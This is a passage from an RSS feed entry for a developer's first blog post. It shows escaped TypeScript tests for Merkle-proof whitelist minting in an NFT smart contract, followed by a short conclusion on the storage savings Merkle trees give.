    &lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Should allow whitelisted users to mint&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;aliceBalance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAddress&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;aliceBalance&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;bobBalance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAddress&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bobBalance&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Should revert when users try to mint over allowed quantity&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;
          &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
          &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;merkleTreeData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;proofs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;any&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;invalid proof&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Should revert when non-whitelisted users try to mint&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;
          &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;david&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
          &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;merkleTreeData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;proofs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;any&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;invalid proof&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Merkle tree is powerful. It allows data to be verified without using much on-chain storage. Imagine how much money you can save if you have thousands of users in your whitelist. That is huge!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;P/S&lt;/strong&gt;: I've started to see the benefit of blogging as a developer. I am trying to write as much as I can after my work. This is my first programming blog ever. I hope you enjoy it.&lt;br&gt;
Thank you for your reading. I appreciate it.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>typescript</category>
      <category>nft</category>
      <category>ethereum</category>
    </item>
  </channel>
</rss>
